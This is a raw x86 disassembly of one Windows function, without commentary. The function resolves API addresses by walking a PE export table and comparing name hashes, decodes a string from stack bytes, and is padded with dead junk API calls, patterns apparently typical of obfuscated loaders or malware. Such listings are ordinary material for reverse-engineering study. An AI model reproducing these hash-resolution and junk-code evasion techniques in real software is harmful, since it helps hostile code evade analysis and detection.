mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x3a4], eax
jne 0x1004d1c2
mov dword [ebp - 0x4c4], 1
jmp 0x1004d1c9
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0xf777
jne 0x1004d1ed
mov dword [ebp - 0x4d4], 1
jmp 0x1004d1f4
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x4d4]
je 0x1004d20e
mov dword [ebp - 0x4dc], 1
jmp 0x1004d215
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x4dc]
test eax, eax
je 0x1004d22d
cmp dword [ebp - 0x98], 0
mov esi, dword [ebp - 0xe0]
sub esi, 0x457
push 1
lea ecx, [ebp - 0xddc]
call fcn.100179fa
mov dword [eax], esi
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xddc]
call fcn.100179de
jmp 0x1004d063
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf4]
call fcn.100179de
movzx eax, byte [0x109271f7]
test eax, eax
je 0x1004d2d7
mov ecx, 0x10927300
call fcn.100517aa
movzx eax, al
test eax, eax
jne 0x1004d2d7
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x4e4]
push eax
mov ecx, 0x10927300
call fcn.10017ae5
lea eax, [ebp - 0xe70]
push eax
mov ecx, 0x10927300
call fcn.10017ad7
push eax
lea ecx, [ebp - 0x4e4]
call fcn.10017afa
movzx eax, al
test eax, eax
je 0x1004d2d7
lea ecx, [ebp - 0x4e4]
call fcn.100517b3
mov eax, dword [eax + 4]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x2a4], 0x8ade19d2
mov dword [ebp - 0x29c], 0
jmp 0x1004d2fa
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 1
jge 0x1004d316
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0xf68], 0
jmp 0x1004d2ed
mov dword [ebp - 0x2a4], 0
jmp 0x1004d32f
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
jg 0x1004d365
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x1004d363
push 0
push 0
push 0x1b1
push 0x127b
push 0x7d3
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
jmp 0x1004d322
mov byte [ebp - 0x134], 0
movzx eax, byte [ebp - 0x134]
test eax, eax
je 0x1004d38a
push 0
push 0
push 0x1e4a
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
cmp dword [ebp - 0x170], 0xffffffff
jne 0x1004d4b3
mov ecx, 0x10927300
call fcn.100517f7
mov ecx, dword [ebp - 0xe8]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10927300
call fcn.100517fb
and dword [ebp - 0x168], 0
jmp 0x1004d3cb
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax + 0x18]
jae 0x1004d4b3
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x168]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0
je 0x1004d4ae
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1064]
call fcn.1003aedf
mov dword [ebp - 4], 0x39
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1064]
call fcn.1003bdf8
mov dword [ebp - 0x4f4], eax
movzx eax, byte [0x109271f7]
test eax, eax
je 0x1004d45c
mov ecx, 0x10927300
call fcn.100517aa
movzx eax, al
test eax, eax
jne 0x1004d47c
lea eax, [ebp - 0x4f4]
push eax
mov ecx, 0x10927300
call fcn.100517b9
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov byte [0x109271f7], 1
cmp dword [ebp - 0x170], 0xffffffff
jne 0x1004d49f
mov eax, dword [ebp - 0x4f4]
cmp eax, dword [ebp - 0x2ac]
jne 0x1004d49f
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x170], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1064]
call fcn.100178c9
jmp 0x1004d3be
cmp dword [ebp + 0x10], 0
jne 0x1004d4e2
cmp dword [ebp - 0x170], 0xffffffff
je 0x1004d4e2
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x170]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x84], ax
movzx eax, word [ebp - 0x84]
cmp eax, 0xffff
je 0x1004d8ce
movzx eax, word [ebp - 0x84]
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ebp - 0x178]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xb80], eax
mov eax, dword [ebp - 0xb80]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe8]
jbe 0x1004d8c3
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0xe8]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xe4], edx
jae 0x1004d8c3
mov eax, dword [0x10927348]
and eax, 2
jne 0x1004d58d
mov eax, dword [0x10927348]
or eax, 2
mov dword [0x10927348], eax
mov dword [ebp - 4], 0x3a
push 0x3493
call fcn.1000d391
pop ecx
mov byte [0x109273d4], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x70], 1
mov byte [ebp - 0x6f], 0x90
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x6d], 8
mov byte [ebp - 0x6c], 1
mov byte [ebp - 0x6b], 0xed
mov byte [ebp - 0x6a], 2
mov byte [ebp - 0x69], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x70]
and eax, 0xfc
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x70]
or ecx, 0xfc
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x70]
mov byte [ebp + eax - 0x124], cl
mov dword [ebp - 0x24], 2
and dword [ebp - 0x1cc], 0
jmp 0x1004d5fa
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 8
jae 0x1004d6ba
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x70]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1004d63b
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x70]
inc eax
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x70]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x1004d5f2
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1cc]
movzx eax, byte [ebp + eax - 0x72]
movsx eax, byte [ebp + eax - 0x124]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x6f]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1cc]
movzx eax, byte [ebp + eax - 0x72]
movsx eax, byte [ebp + eax - 0x124]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x6f]
and edx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1cc]
movzx eax, byte [ebp + eax - 0x72]
movsx eax, byte [ebp + eax - 0x124]
mov esi, dword [ebp - 0x24]
movzx ebx, byte [ebp + esi - 0x6f]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x70]
mov byte [ebp + eax - 0x124], bl
and dword [ebp - 0x1cc], 0
jmp 0x1004d5f2
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x124], 0
mov eax, dword [0x10927348]
and eax, 4
jne 0x1004d706
mov eax, dword [0x10927348]
or eax, 4
mov dword [0x10927348], eax
mov dword [ebp - 4], 0x3b
lea eax, [ebp - 0x124]
push eax
mov ecx, 0x10927370
call fcn.1003aedf
push 0x10071c88
call fcn.100580df
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x2b4], 0
jmp 0x1004d71c
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 4
jae 0x1004d735
mov eax, dword [ebp - 0x2b4]
mov byte [ebp + eax - 0x124], 0
jmp 0x1004d70f
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x12c], eax
movsx eax, byte [0x109273d4]
mov ecx, dword [ebp - 0x12c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1004d764
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
jmp 0x1004d741
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
push dword [ebp - 0x12c]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0xff0]
call fcn.10051a18
mov dword [ebp - 4], 0x3c
push 0x10927370
lea ecx, [ebp - 0xff0]
call fcn.1003af4a
lea eax, [ebp - 0xe78]
push eax
lea ecx, [ebp - 0xff0]
call fcn.100183d3
push dword [eax]
lea eax, [ebp - 0xfc0]
push eax
lea ecx, [ebp - 0xff0]
call fcn.100183bf
push dword [eax]
lea ecx, [ebp - 0x108c]
call fcn.10051a41
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x108c]
push eax
call fcn.1003c48d
pop ecx
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0
je 0x1004d86f
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1024]
call fcn.1003aedf
mov byte [ebp - 4], 0x3e
lea edx, [ebp - 0xa50]
lea ecx, [ebp - 0x1024]
call fcn.1003bfec
movzx eax, al
test eax, eax
je 0x1004d83f
push 0
push dword [ebp - 0xa50]
push 0
push dword [ebp - 0x3ac]
call fcn.1004566f
add esp, 0x10
mov dword [ebp - 0xe4], eax
jmp 0x1004d85e
push 1
push 0
lea eax, [ebp - 0x1024]
push eax
push dword [ebp - 0x3ac]
call fcn.1004566f
add esp, 0x10
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x1024]
call fcn.100178c9
jmp 0x1004d8a5
cmp dword [ebp + 0x10], 0
jne 0x1004d885
mov ecx, dword [ebp + 0xc]
call fcn.10017622
mov dword [ebp - 0x4fc], eax
jmp 0x1004d88f
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x4fc], eax
push dword [ebp - 0x4fc]
push dword [ebp + 8]
call fcn.10040659
pop ecx
pop ecx
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x108c]
call fcn.100177ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xff0]
call fcn.100178c9
mov eax, dword [ebp - 0xe4]
jmp 0x1004d9b1
mov dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x2bc], 0
jmp 0x1004d8f1
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 3
jge 0x1004d90d
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0x103c], 0xa4a9bdba
jmp 0x1004d8e4
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1004d929
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [ebp - 0x1d4], 2
jmp 0x1004d942
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x1004d9af
mov dword [ebp - 0xa58], 0x1d8987f2
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp + eax*4 - 0x103c]
mov dword [ebp - 0xa58], eax
mov byte [ebp - 0x136], 0
movzx eax, byte [ebp - 0x136]
test eax, eax
je 0x1004d9ad
push 0x1fb5
push 0x250f
push 0xa9f
push 0x18a0
push 0x2f6
push 0x1426
push 0x24ba
push 0x15a2
push 0x1be8
call dword [sym.imp.GDI32.dll_Arc]
jmp 0x1004d935
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret